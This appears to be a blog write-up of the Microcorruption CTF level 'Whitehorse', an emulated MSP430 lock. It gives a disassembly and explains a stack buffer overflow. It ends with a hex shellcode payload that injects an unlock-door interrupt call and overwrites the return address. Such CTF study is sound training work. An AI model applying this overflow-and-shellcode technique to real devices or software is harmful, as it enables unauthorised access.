Microcorruption CTF Whitehorse Write-up

Microcorruption CTF Whitehorse Write-up

- 6 mins

Summary:

This is a write-up of my solution to the Microcorruption CTF challenge “Whitehorse” (LOCKIT PRO r c.01).

I found this challenge to be relatively straightforward and easy to solve. Let’s check out what the program is doing.

0010 <__trap_interrupt>
0010: 3041 ret
4400 <__init_stack>
4400: 3140 863e mov #0x3e86, sp
4404 <__low_level_init>
4404: 1542 5c01 mov &0x015c, r5
4408: 75f3 and.b #-0x1, r5
440a: 35d0 085a bis #0x5a08, r5
440e <__do_copy_data>
440e: 3f40 0000 clr r15
4412: 0f93 tst r15
4414: 0724 jz #0x4424 <__do_clear_bss+0x0>
4416: 8245 5c01 mov r5, &0x015c
441a: 2f83 decd r15
441c: 9f4f c445 0024 mov 0x45c4(r15), 0x2400(r15)
4422: f923 jnz #0x4416 <__do_copy_data+0x8>
4424 <__do_clear_bss>
4424: 3f40 0000 clr r15
4428: 0f93 tst r15
442a: 0624 jz #0x4438 <main+0x0>
442c: 8245 5c01 mov r5, &0x015c
4430: 1f83 dec r15
4432: cf43 0024 mov.b #0x0, 0x2400(r15)
4436: fa23 jnz #0x442c <__do_clear_bss+0x8>
4438 <main>
4438: b012 f444 call #0x44f4 <login>
443c <__stop_progExec__>
443c: 32d0 f000 bis #0xf0, sr
4440: fd3f jmp #0x443c <__stop_progExec__+0x0>
4442 <__ctors_end>
4442: 3040 c245 br #0x45c2 <_unexpected_>
4446 <conditional_unlock_door>
4446: 0412 push r4
4448: 0441 mov sp, r4
444a: 2453 incd r4
444c: 2183 decd sp
444e: c443 fcff mov.b #0x0, -0x4(r4)
4452: 3e40 fcff mov #0xfffc, r14
4456: 0e54 add r4, r14
4458: 0e12 push r14
445a: 0f12 push r15
445c: 3012 7e00 push #0x7e
4460: b012 3245 call #0x4532 <INT>
4464: 5f44 fcff mov.b -0x4(r4), r15
4468: 8f11 sxt r15
446a: 3152 add #0x8, sp
446c: 3441 pop r4
446e: 3041 ret
4470 .strings:
4470: "Enter the password to continue."
4490: "Remember: passwords are between 8 and 16 characters."
44c5: "Access granted."
44d5: "That password is not correct."
44f3: ""
44f4 <login>
44f4: 3150 f0ff add #0xfff0, sp
44f8: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15
44fc: b012 9645 call #0x4596 <puts>
4500: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504: b012 9645 call #0x4596 <puts>
4508: 3e40 3000 mov #0x30, r14
450c: 0f41 mov sp, r15
450e: b012 8645 call #0x4586 <getsn>
4512: 0f41 mov sp, r15
4514: b012 4644 call #0x4446 <conditional_unlock_door>
4518: 0f93 tst r15
451a: 0324 jz #0x4522 <login+0x2e>
451c: 3f40 c544 mov #0x44c5 "Access granted.", r15
4520: 023c jmp #0x4526 <login+0x32>
4522: 3f40 d544 mov #0x44d5 "That password is not correct.", r15
4526: b012 9645 call #0x4596 <puts>
452a: 3150 1000 add #0x10, sp
452e: 3041 ret
4530 <__do_nothing>
4530: 3041 ret
4532 <INT>
4532: 1e41 0200 mov 0x2(sp), r14
4536: 0212 push sr
4538: 0f4e mov r14, r15
453a: 8f10 swpb r15
453c: 024f mov r15, sr
453e: 32d0 0080 bis #0x8000, sr
4542: b012 1000 call #0x10
4546: 3241 pop sr
4548: 3041 ret
454a <putchar>
454a: 2183 decd sp
454c: 0f12 push r15
454e: 0312 push #0x0
4550: 814f 0400 mov r15, 0x4(sp)
4554: b012 3245 call #0x4532 <INT>
4558: 1f41 0400 mov 0x4(sp), r15
455c: 3150 0600 add #0x6, sp
4560: 3041 ret
4562 <getchar>
4562: 0412 push r4
4564: 0441 mov sp, r4
4566: 2453 incd r4
4568: 2183 decd sp
456a: 3f40 fcff mov #0xfffc, r15
456e: 0f54 add r4, r15
4570: 0f12 push r15
4572: 1312 push #0x1
4574: b012 3245 call #0x4532 <INT>
4578: 5f44 fcff mov.b -0x4(r4), r15
457c: 8f11 sxt r15
457e: 3150 0600 add #0x6, sp
4582: 3441 pop r4
4584: 3041 ret
4586 <getsn>
4586: 0e12 push r14
4588: 0f12 push r15
458a: 2312 push #0x2
458c: b012 3245 call #0x4532 <INT>
4590: 3150 0600 add #0x6, sp
4594: 3041 ret
4596 <puts>
4596: 0b12 push r11
4598: 0b4f mov r15, r11
459a: 073c jmp #0x45aa <puts+0x14>
459c: 1b53 inc r11
459e: 8f11 sxt r15
45a0: 0f12 push r15
45a2: 0312 push #0x0
45a4: b012 3245 call #0x4532 <INT>
45a8: 2152 add #0x4, sp
45aa: 6f4b mov.b @r11, r15
45ac: 4f93 tst.b r15
45ae: f623 jnz #0x459c <puts+0x6>
45b0: 3012 0a00 push #0xa
45b4: 0312 push #0x0
45b6: b012 3245 call #0x4532 <INT>
45ba: 2152 add #0x4, sp
45bc: 0f43 clr r15
45be: 3b41 pop r11
45c0: 3041 ret
45c2 <_unexpected_>
45c2: 0013 reti pc

After the call to main() and then login(), we see a new function named conditional_unlock_door() is being called. After this call returns and if r15 is not 0x0, the message “Access granted” is printed and we return out of the function.

Let’s try some input and examine the state of the memory.

Whitehorse Input Break

Our input AAAAAAAAAA is placed onto the stack. Following the password buffer, we can see the return address to 0x443c for when we return out of login().

After returning from getsn(), the stack pointer address sp is moved into register r15 and the program calls conditional_unlock_door().

4446 <conditional_unlock_door>
4446: 0412 push r4
4448: 0441 mov sp, r4
444a: 2453 incd r4
444c: 2183 decd sp
444e: c443 fcff mov.b #0x0, -0x4(r4)
4452: 3e40 fcff mov #0xfffc, r14
4456: 0e54 add r4, r14
4458: 0e12 push r14
445a: 0f12 push r15
445c: 3012 7e00 push #0x7e
4460: b012 3245 call #0x4532 <INT>
4464: 5f44 fcff mov.b -0x4(r4), r15
4468: 8f11 sxt r15
446a: 3152 add #0x8, sp
446c: 3441 pop r4
446e: 3041 ret

The code will move some values around in the registers, and call the interrupt with code 0x7e (?) and before returning, will execute the instruction mov.b -0x4(r4), r15 which will move a null byte from before our password buffer into r15. Because of this, the tst r15 instruction in login() will fail.

Two things to note. First, we should be able to overwrite the return address 0x443c. Second, conditional_unlock_door() (the way it’s coded) will actually never unlock the door. From the previous challenges, we learned that the code to the interrupt was 0x7f.

444a <unlock_door>
444a:  3012 7f00      push  #0x7f
444e:  b012 c446      call  #0x46c4 <INT>
4452:  2153           incd  sp
4454:  3041           ret

However, conditional_unlock_door() uses the code 0x7e, which doesn’t actually unlock the door. Bummer.

But… what if we injected the instructions to the old unlock_door() onto the stack (via our password buffer) and returned execution to it? After all, it’s only 12 bytes long and should fit in the buffer with room to spare before we reach the return address. Let’s whip up our new payload, making sure we fix the address of the call to INT() give it a shot…

Whitehorse solve

:+1: :beers:

Flag (mouse over to reveal)

30127f00b01232452153304141414141743e

jiva

jiva

Security guy, busticati, professional button-pusher

comments powered by Disqus
rss hackthebox keybase facebook twitter github youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora